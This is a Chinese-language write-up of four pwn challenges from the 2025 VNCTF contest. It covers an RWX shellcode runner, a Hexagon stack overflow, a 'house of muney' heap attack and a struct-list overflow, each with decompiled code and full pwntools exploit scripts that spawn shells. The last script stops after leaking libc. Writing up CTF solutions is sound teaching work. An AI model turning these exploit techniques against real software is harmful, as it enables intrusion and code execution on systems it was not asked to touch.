2025 VNCTF
签个到吧
1
2
3
4
5
6
7
[*] '/mnt/hgfs/ctf/2025vnctf/sign/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/ef4tless/glibc-all-in-one/libs/2.38-3ubuntu1_amd64/'
没有canary
漏洞分析
输入0x16大小的内容到开辟的rwx空间上,再直接执行,执行前将寄存器的值都进行了清空
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("hello hacker");
puts("try to show your strength ");
buf = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
read(0, buf, 0x16uLL);
mprotect(buf, 0x1000uLL, 7);
execute(buf);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.text:00000000000011C9 execute proc near ; CODE XREF: main+CA↓p
.text:00000000000011C9
.text:00000000000011C9 var_30 = qword ptr -30h
.text:00000000000011C9
.text:00000000000011C9 ; __unwind {
.text:00000000000011C9 endbr64
.text:00000000000011CD push rbp
.text:00000000000011CE mov rbp, rsp
.text:00000000000011D1 push r15
.text:00000000000011D3 push r14
.text:00000000000011D5 push r13
.text:00000000000011D7 push r12
.text:00000000000011D9 push rbx
.text:00000000000011DA mov [rbp+var_30], rdi
.text:00000000000011DE mov rdi, [rbp+var_30]
.text:00000000000011E2 xor rax, rax
.text:00000000000011E5 xor rbx, rbx
.text:00000000000011E8 xor rcx, rcx
.text:00000000000011EB xor rdx, rdx
.text:00000000000011EE xor rsi, rsi
.text:00000000000011F1 xor r8, r8
.text:00000000000011F4 xor r9, r9
.text:00000000000011F7 xor r10, r10
.text:00000000000011FA xor r11, r11
.text:00000000000011FD xor r12, r12
.text:0000000000001200 xor r13, r13
.text:0000000000001203 xor r14, r14
.text:0000000000001206 xor r15, r15
.text:0000000000001209 xor rbp, rbp
.text:000000000000120C xor rsp, rsp
.text:000000000000120F mov rdi, rdi
.text:0000000000001212 jmp rdi
.text:0000000000001212 execute endp
利用思路
用read将shellcode读入在read下方,缺少的栈环境赋值给rsp即可
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
p = remote("node.vnteam.cn","43971") #typ="udp"
# p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data).encode())
sa = lambda text,data :p.sendafter(text, str(data).encode())
sl = lambda data :p.sendline(str(data).encode())
sla = lambda text,data :p.sendlineafter(text, str(data).encode())
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
ru(b"strength")
read = asm(
'''
xchg rsi, rdi
add rsi, 0x10
add rdx, 0x100
syscall
''')
p.send(read)
pay = asm(
'''
mov rsp, rsi
add rsp, 0x500
'''
)
shellcode = asm(shellcraft.amd64.linux.sh())
p.send(pay+shellcode)
ia()
hexagon
1
2
➜ hexagon file main
main: ELF 32-bit LSB executable, QUALCOMM DSP6, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-hexagon.so.1, not stripped
hexagon架构 ida解析需要安装插件https://github.com/n-o-o-n/idp_hexagon 用qemu-hexagon(新版本的qemu自带)运行
1
2
sudo ln -sf /mnt/hgfs/ctf/2025vnctf/hexagon/libc.so /lib/ld-musl-hexagon.so.1
./qemu-hexagon -L libc.so main
调试时通过打印的log来查看寄存器和函数执行情况,地址参数为./main执行的函数段部分
1
2
p = process(['./qemu-hexagon', '-L', 'libc.so', '-d', 'in_asm,exec,cpu,nochain',
'-dfilter', '0x20460+0xD8', '-strace', '-D', './log', './main'])
漏洞分析
主要逻辑在vuln里,这里read读入fp(rbp)-8地址,存在4个字节的溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
.text:00020460 .global vuln
.text:00020460 vuln: // CODE XREF: main+90↓p
.text:00020460 { allocframe(#0x10) }
.text:00020464 { r0 = add(pc, ##aD@pcrel) } // "%d"
.text:0002046C { r1 = add(fp, #-0x10) }
.text:00020470 { call scanf }
.text:00020474 { r0 = #0 } // fd
.text:00020478 { r1 = add(fp, #-8) } // buf
.text:0002047C { r2 = #0x10 } // nbytes
.text:00020480 { call read }
.text:00020484 { r0 = add(pc, ##aCatHomeCtfLog@pcrel) } // "cat /home/ctf/log"
.text:0002048C { call system }
.text:00020490 { nop
.text:00020494 nop
.text:00020498 nop
.text:0002049C dealloc_return }
.text:0002049C // End of function vuln
.text:0002049C
.text:000204A0
.text:000204A0 // =============== S U B R O U T I N E =======================================
.text:000204A0
.text:000204A0 // Attributes: bp-based frame
.text:000204A0
.text:000204A0 // int __cdecl main(int argc, const char **argv, const char **envp)
.text:000204A0 .global main
.text:000204A0 main: // DATA XREF: .got:main_ptr↓o
.text:000204A0
.text:000204A0 var_10 = -0x10
.text:000204A0 var_C = -0xC
.text:000204A0 var_8 = -8
.text:000204A0
.text:000204A0 { allocframe(#0x10) }
.text:000204A4 { r0 = add(fp, #-4) }
.text:000204A8 { memw(r0) = #0 }
.text:000204AC { r0 = add(pc, ##_GLOBAL_OFFSET_TABLE_@pcrel) }
.text:000204B4 { memw(fp + #var_C) = r0 }
.text:000204B8 { r0 = memw(r0 + ##-0x1000C) }
.text:000204C0 { r0 = memw(r0) } // stream
.text:000204C4 { r2 = #2 } // modes
.text:000204C8 { memw(fp + #var_10) = r2 }
.text:000204CC { r3 = #0 } // n
.text:000204D0 { memw(fp + #var_8) = r3 }
.text:000204D4 { r1 = r3 } // buf
.text:000204D8 { call setvbuf }
.text:000204DC { r2 = memw(fp + #var_10) } // modes
.text:000204E0 { r3 = memw(fp + #var_8) } // n
.text:000204E4 { r1 = r0 }
.text:000204E8 { r0 = memw(fp + #var_C) }
.text:000204EC { r0 = memw(r0 + ##-0x10008) }
.text:000204F4 { r0 = memw(r0) } // stream
.text:000204F8 { r1 = r3 } // buf
.text:000204FC { call setvbuf }
.text:00020500 { r2 = memw(fp + #var_10) } // modes
.text:00020504 { r3 = memw(fp + #var_8) } // n
.text:00020508 { r1 = r0 }
.text:0002050C { r0 = memw(fp + #var_C) }
.text:00020510 { r0 = memw(r0 + ##-0x10004) }
.text:00020518 { r0 = memw(r0) } // stream
.text:0002051C { r1 = r3 } // buf
.text:00020520 { call setvbuf }
.text:00020524 { r0 = add(pc, ##aWelcomeBackHex@pcrel) } // "Welcome back, hexagon player!"
.text:0002052C { call puts }
.text:00020530 { call vuln }
.text:00020534 { r0 = memw(fp + #var_8) }
.text:00020538 { dealloc_return }
利用思路
根据打印的log,可以得到read输入的栈地址是固定的,本地的libc是通过log里的寄存器参数获取的,qemu也不会改变libc地址
1
2
3
4
.plt:000205B0 puts: // CODE XREF: main+8C↑p
.plt:000205B0 { r14 = add(pc, ##off_4067C@pcrel) }
.plt:000205B8 { r28 = memw(r14) }
.plt:000205BC { jumpr r28 }
而远程环境没有寄存器信息,在./main运行时会执行如下函数,其中0x4093f0dc是一个libc地址,减去其固定偏移就能得到libc_base
1
2
3
4
82658 set_tid_address(0x4093f0dc) = 82658
82658 brk(NULL) = 0x00050000
82658 brk(0x00070000) = 0x00070000
82658 mmap2(0x00050000,65536,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x00050000
这里似乎是非预期了,在libc.so里有执行execve的函数直接就能获取shell了,exp执行log如下
1
2
3
4
5
6
7
8
9
10
11
12
82658 rt_sigprocmask(SIG_BLOCK,[SIGHUP SIGINT SIGQUIT SIGILL SIGTRAP SIGIOT SIGBUS SIGFPE SIGKILL SIGUSR1 SIGSEGV SIGUSR2 SIGPIPE SIGALRM SIGTERM SIGSTKFLT SIGCHLD SIGCONT SIGSTOP SIGTSTP SIGTTIN SIGTTOU SIGURG SIGXCPU SIGXFSZ SIGVTALRM SIGPROF SIGWINCH SIGIO SIGPWR SIGSYS 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64],0x4080d984,8) = 0 (oldset=[])
82658 pipe2(0x4080d97c,524288) = 0
82658 clone(CLONE_VM|CLONE_VFORK|0x11,child_stack=0x4080ee20,parent_tidptr=0x00000008,tls=0x4080eecc,child_tidptr=0x00000000) = 82664
= 82658 close(6) = 0
0
82658 read(5,0x4080da1c,4)82664 close(5) = 0
82664 fcntl64(6,F_SETFD,1) = 0
82664 rt_sigprocmask(SIG_SETMASK,[],NULL,8) = 0
82664 execve("/bin/sh",{NULL}) = 0
82658 close(5) = 0
82658 rt_sigprocmask(SIG_SETMASK,[],NULL,8) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x00000010} ---
除此以外栈迁移也是可行的,该架构下寄存器传参为r0,r1,r2,如下即可将fp-0x8的值赋给r0
1
r0 = memw(fp + #var_8) dealloc_return
利用read构造栈迁移布局即可
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
# p = remote("node.vnteam.cn","46444") #typ="udp"
p = process(['./qemu-hexagon', '-L', 'libc.so', '-d', 'in_asm,exec,cpu,nochain',
'-dfilter', '0x20460+0xD8', '-strace', '-D', './log', './main'])
# elf = ELF("./main")
libc = ELF('./libc.so')
context.log_level = "debug" # info
# context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data).encode())
sa = lambda text,data :p.sendafter(text, str(data).encode())
sl = lambda data :p.sendline(str(data).encode())
sla = lambda text,data :p.sendlineafter(text, str(data).encode())
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
stack = 0x4080ee38
libc_base = 0x408eacc0-0xDACC0
system = libc_base + 0xDA1A0
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
system_addr = libc_base + libc.sym['system']
ru(b"player!")
p.sendline(str(1))
pay = p32(0)*2
pay += p32(stack)+p32(system)
p.send(pay)
ru(b"directory")
p.sendline(str("cat /flag"))
ia()
Late Binding
1
2
3
4
5
6
7
[*] '/mnt/hgfs/ctf/2025vnctf/latebinding/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/ef4tless/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/'
漏洞分析
add功能可以申请任意大小>=0x20000的堆,可使用三次,free功能只能使用一次 edit功能可以编辑堆块相对偏移0x90000以内的地址0x20个字节,存在溢出,且size参数可以为负数 show功能缺少参数检测,存在负数越界
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int add()
{
unsigned __int64 idx; // [rsp+0h] [rbp-10h]
unsigned __int64 size; // [rsp+8h] [rbp-8h]
if ( !add_use ) // 3
exit(1);
puts("Enter customer ID:");
idx = read_con();
if ( idx > 2 )
return puts("wrong");
puts("Enter allocated data size:");
size = read_con();
if ( size <= 0x1FFFF )
{
puts("wrong");
exit(1);
}
ptr[idx] = malloc(size);
puts("success");
return --add_use;
}
unsigned __int64 edit()
{
int size; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 idx; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Enter customer ID to update:");
idx = read_con();
if ( idx <= 2 )
{
puts("Enter data length:");
__isoc99_scanf("%d", &size);
if ( size > 0x8FFFF )
{
puts("wrong");
exit(0);
}
puts("Enter updated customer details:");
read(0, (ptr[idx] + size), 0x20uLL);
puts("success");
}
else
{
puts("wrong");
}
return __readfsqword(0x28u) ^ v3;
}
int show()
{
__int64 idx; // [rsp+8h] [rbp-8h]
puts("Enter customer ID to view:");
idx = read_con();
puts("Customer Profile:");
return puts(ptr[idx]);
}
利用思路
house of muney例题,通过申请libc地址上方的堆块再修改size后进行free,就能切割libc部分内容至堆段中 用不上泄露地址,劫持exit的libc偏移值为one_gadget
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
# p = remote("","") #typ="udp"
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data).encode())
sa = lambda text,data :p.sendafter(text, str(data).encode())
sl = lambda data :p.sendline(str(data).encode())
sla = lambda text,data :p.sendlineafter(text, str(data).encode())
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
def add(idx,size):
sla(b"Please select an option:",1)
sla(b"Enter customer ID:",idx)
sla(b"Enter allocated data size:",size)
def dele(idx):
sla(b"Please select an option:",2)
sla(b"Enter customer ID to remove:",idx)
def edit(idx,size,con):
sla(b"Please select an option:",3)
sla(b"Enter customer ID to update:",idx)
sla(b"Enter data length:",size)
p.sendafter(b"Enter updated customer details:",con)
def show(idx):
sla(b"Please select an option:",4)
sla(b"Enter customer ID to view:",idx)
# tel $rebase(0x40C0)
show(-0xb)
ru(b"Profile:\n")
base = uu64()-0x004068
lg("base")
ptr = base+0x40c0
'''
0x7fc20e17a000 0x7fc20e1b9000 rw-p 3f000 0 [anon_7fc20e17a]
0x7fc20e1b9000 0x7fc20e1db000 r--p 22000 0 /home/ef4tless/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc-2.31.so
'''
add(0, 0x40000-0x2000)# 00007f8955828000 0000000000000000 000000000003f002
edit(0,-8, p64(0x41002 + 0x5000 + 0x4000))
dele(0)
add(0, 0x41000 * 2 + 0x4000)
'''
0x7fc20e13d000 0x7fc20e1c4000 rw-p 87000 0 [anon_7fc20e13d]
0x7fc20e1c4000 0x7fc20e1db000 r--p 17000 b000 /home/ef4tless/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc-2.31.so
'''
base_off = 0x7bff0
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04][1]
gnu_hash_section = libc.get_section_by_name('.gnu.hash')
dynsym_section = libc.get_section_by_name('.dynsym')
dynstr_section = libc.get_section_by_name('.dynstr')
namehash = gnu_hash_section.gnu_hash('exit')
bloom_off = gnu_hash_section['sh_addr'] + 4 * gnu_hash_section._wordsize
bucket_off = bloom_off + gnu_hash_section.params['bloom_size'] * gnu_hash_section._xwordsize
bloom_elem_idx = int(namehash /gnu_hash_section.elffile.elfclass) % gnu_hash_section.params['bloom_size']
bloom_elem_off = bloom_off + bloom_elem_idx * gnu_hash_section._xwordsize
bloom_elem_val = gnu_hash_section.params['bloom'][bloom_elem_idx]
bucket_elem_idx = namehash % gnu_hash_section.params['nbuckets']
bucket_elem_off = bucket_off + bucket_elem_idx * gnu_hash_section._wordsize
bucket_elem_val = gnu_hash_section.params['buckets'][bucket_elem_idx]
hasharr_off = gnu_hash_section._chain_pos + (bucket_elem_val - gnu_hash_section.params['symoffset']) * gnu_hash_section._wordsize
sym_off = dynsym_section['sh_offset'] + bucket_elem_val * dynsym_section['sh_entsize']
sym_value = b''
sym_value += p32(next(libc.search(b'exit\x00')) - dynstr_section['sh_offset']) # st_name
sym_value += p8(0x12) # st_info
sym_value += p8(0) # st_other
sym_value += p16(1) # st_shndx
sym_value += p64(one_gadget) # st_value
sym_value += p64(8) # st_size
lg("bloom_elem_off")
lg("bloom_elem_val")
edit(0, base_off + bloom_elem_off, p64(bloom_elem_val))
edit(0, base_off + bucket_elem_off, p32(bucket_elem_val))
edit(0, base_off + hasharr_off, p32(namehash))
edit(0, base_off + sym_off, sym_value)
sla(b"option:", 5)
ia()
米塔调试机
1
2
3
4
5
6
7
[*] '/mnt/hgfs/ctf/2025vnctf/vuln6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'/home/ef4tless/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/'
no pie
漏洞分析
给了结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct MiTaHome{
char mitaname[24];
char mitaid[8];
struct MiTaHome* next;
char* note;
};
struct Version{
char vername[32];
struct MiTaHome* mitatop;
struct Version* next;
};
struct Pack{
char buftemp[0x540];
struct MiTaHome* nowhome;
struct Version* nowver;
};
set_test 在堆上构建了一个结构体链表
1
2
3
4
5
6
7
8
9
000000001a8d8290 0000000000000000 0000000000000041
000000001a8d82a0 0000000000302e76 0000000000000000 (version_name '0.v')
000000001a8d82b0 0000000000000000 0000000000000000
000000001a8d82c0 000000001a8d82e0 0000000000000000 (mita_head)
000000001a8d82d0 0000000000000000 0000000000000041
000000001a8d82e0 0000000074736574 0000000000000000 (mita_name 'test')
000000001a8d82f0 0000000000000000 0000000000000031 (mita_id)
000000001a8d8300 0000000000000000 0000000000000000
然后对输入内容进行校验,导入不同的菜单功能
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def version(note):
p.sendlineafter(b">>> ","version:"+note)
# p.sendline("version"+":"+pay)
def choose(name):
sla(b">>> ","$choose-"+name)
def add(name,id,note):# edit
p.sendlineafter(b">>> ",name + "_"+id+":"+note)
def drow():
sla(b">>> ","$drow")
def show():
sla(b">>> ","$show")
def dele():
sla(b">>> ","$delete")
def goto(name):
sla(b">>> ","$goto-"+name)
def name(name):
sla(b">>> ","$name")
p.sendafter(b"Input your new name:",name)
def exit():
sla(b">>> ","$exit")
主要漏洞是由于用scanf在栈上输入指令,而mitatop和version2个记录结构体链表堆地址的变量在靠近栈底的位置,所以可以通过溢出修改这2个地址 同时show功能没有直接的参数校验,直接输出内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
size_t v3; // rbx
size_t v4; // rbx
Version *v5; // rbx
size_t v6; // rbx
size_t v7; // rax
struct MiTaHome *v8; // rbx
size_t v9; // rax
size_t size; // rax
size_t v11; // rax
int cnt; // [rsp+18h] [rbp-598h]
struct MiTaHome *dest; // [rsp+20h] [rbp-590h]
MiTaHome *desta; // [rsp+20h] [rbp-590h]
char *s1; // [rsp+28h] [rbp-588h]
const char *note; // [rsp+28h] [rbp-588h]
char *choose_arg; // [rsp+30h] [rbp-580h]
const char *idx; // [rsp+38h] [rbp-578h]
Pack *input; // [rsp+40h] [rbp-570h] BYREF
struct MiTaHome *mitatop; // [rsp+580h] [rbp-30h] BYREF
Version *version; // [rsp+588h] [rbp-28h] BYREF
unsigned __int64 v22; // [rsp+598h] [rbp-18h]
v22 = __readfsqword(0x28u);
mitatop = 0LL;
version = 0LL;
set_io();
printf("%d\n", 114514);
cnt = 114515;
bannar();
set_test(&version, &mitatop);
read(0, name, 0x200uLL);
puts("Input your command");
while ( 1 )
{
printf("%d", cnt++);
printf(">>> ");
__isoc99_scanf("%s", &input);
s1 = strtok(&input, "$");
if ( s1 )
{
v3 = strlen(s1);
if ( v3 != strlen(&input) )
{
strtok(s1, "-");
choose_arg = strtok(0LL, "-");
if ( !strcmp(s1, "choose") )
{
version = choose(choose_arg);
}
else if ( !strcmp(s1, "drow") )
{
drow(version);
version = 0LL;
}
else if ( !strcmp(s1, "show") )
{
printf("Name: %s\n", name);
printf("Now Version: %s\n", version->vername);
printf("Now MiTaHome: %s\n", mitatop->mitaname);
printf("Now MiTaID: %s\n", mitatop->mitaid);
}
else if ( !strcmp(s1, "delete") )
{
dele(version, mitatop);
mitatop = 0LL;
}
else if ( !strcmp(s1, "goto") )
{
mitatop = goto(version, choose_arg); // 返回目标mita
}
else if ( !strcmp(s1, "name") )
{
puts("Input your new name:");
read(0, name, 0x200uLL);
}
else if ( !strcmp(s1, "exit") )
{
puts("Player out! :(");
exit(-1);
}
goto LABEL_36;
}
}
strtok(&input, ":");
note = strtok(0LL, ":");
if ( !note || (v4 = strlen(note), v4 == strlen(&input)) )
{
puts("Invalid command!");
exit(1);
}
if ( !strcmp(&input, "version") )
break;
strtok(&input, "_");
idx = strtok(0LL, "_");
if ( strlen(idx) <= 8 && strlen(&input) <= 0x18 )
{
if ( goto(version, &input) )
{
mitatop = goto(version, &input);
v6 = strlen(note);
if ( v6 <= strlen(mitatop->note) )
{
strcpy(mitatop->note, note);
}
else
{
free(mitatop->note);
v7 = strlen(note);
v8 = mitatop;
v8->note = malloc(v7);
v9 = strlen(note);
strncpy(mitatop->note, note, v9);
}
}
else
{
for ( dest = version->mitatop; dest->next; dest = dest->next )
;
dest->next = malloc(0x30uLL);
desta = dest->next;
strncpy(desta->mitaid, idx, 8uLL);
strncpy(desta->mitaname, &input, 8uLL);
size = strlen(note);
desta->note = malloc(size);
desta->next = 0LL;
v11 = strlen(note);
strncpy(desta->note, note, v11);
}
LABEL_36:
puts(&byte_40251E);
}
else
{
puts("Name too long!:(");
}
}
if ( choose(note) )
{
version = choose(note);
}
else
{
version_chunk = malloc(0x30uLL);
version_chunk->next = 0LL;
v5 = version_chunk;
v5->mitatop = malloc(0x30uLL);
strncpy(version_chunk->vername, note, 0x1FuLL);
}
goto LABEL_36;
}
利用思路
首先用低位覆盖的方式,修改mitatop记录的堆地址为free的堆地址,泄露堆地址(tcachebin)和libc地址(unsortbin),还可劫持mitatop为environ泄露栈地址
有了地址就可以伪造,利用name功能在name_addr上伪造version和mita结构体链表,再利用栈溢出把mitatop和version_addr改为name上伪造的位置 add功能在已经有了的mita上可以直接修改其note记录的内容,但size不能超过之前的大小(strlen)。这里就存在一个链式修改,将note堆地址伪造为目标地址就能实现任意地址读写 后续打IO,修改linkmap劫持fini_array都可以。 (由于会对输入进行校验,note的内容不能输入\x00,这里要完整覆盖地址之前的内容,需要利用note输入完会补\x00的点,逐字节填充)
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
# p = remote("","") #typ="udp"
p = process("./vuln6")
elf = ELF("./vuln6")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data).encode())
sa = lambda text,data :p.sendafter(text, str(data).encode())
sl = lambda data :p.sendline(str(data).encode())
sla = lambda text,data :p.sendlineafter(text, str(data).encode())
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
def version(note):
p.sendlineafter(b">>> ","version:"+note)
def choose(name):
sla(b">>> ","$choose-"+name)
def add(name,id,note):
p.sendlineafter(b">>> ",name + "_"+id+":"+note)
def addb(name,id,note):
p.sendlineafter(b">>> ",name + b"_"+id+b":"+note)
-
def drow():
sla(b">>> ","$drow")
def show():
sla(b">>> ","$show")
def dele():
sla(b">>> ","$delete")
def goto(name):
sla(b">>> ","$goto-"+name)
def name(name):
sla(b">>> ","$name")
p.sendafter(b"Input your new name:",name)
def exit():
sla(b">>> ","$exit")
dest = 0x4042E0
pay = b'aaaa'
p.sendafter("Please input your name:",pay)
add("aaaa","1",'a'*0x50)
add("bbbb","2",'b'*0x60)
goto("bbbb")
dele()
add("cccc","3",'c'*0x10)
add("dddd","4",'d'*0x10)
goto("dddd")
add("eeee","99",'e'*0x538)
show()
ru(b"Now MiTaHome: ")
heap_base = u64(ru(b"N")[:-2].ljust(8,b'\x00')) << 12
lg("heap_base")
version_chunk = heap_base+0x2a0
goto("eeee")
add("ffff","99",'f'*0x500)
add("1111","99",'1'*0x10)
goto('ffff')
dele()
addb(b'2222',b'99',b'2'*0x538+p32(heap_base+0xaa0))
show()
ru(b"Now MiTaID: ")
libc_base = l64()-0x21b110
lg("libc_base")
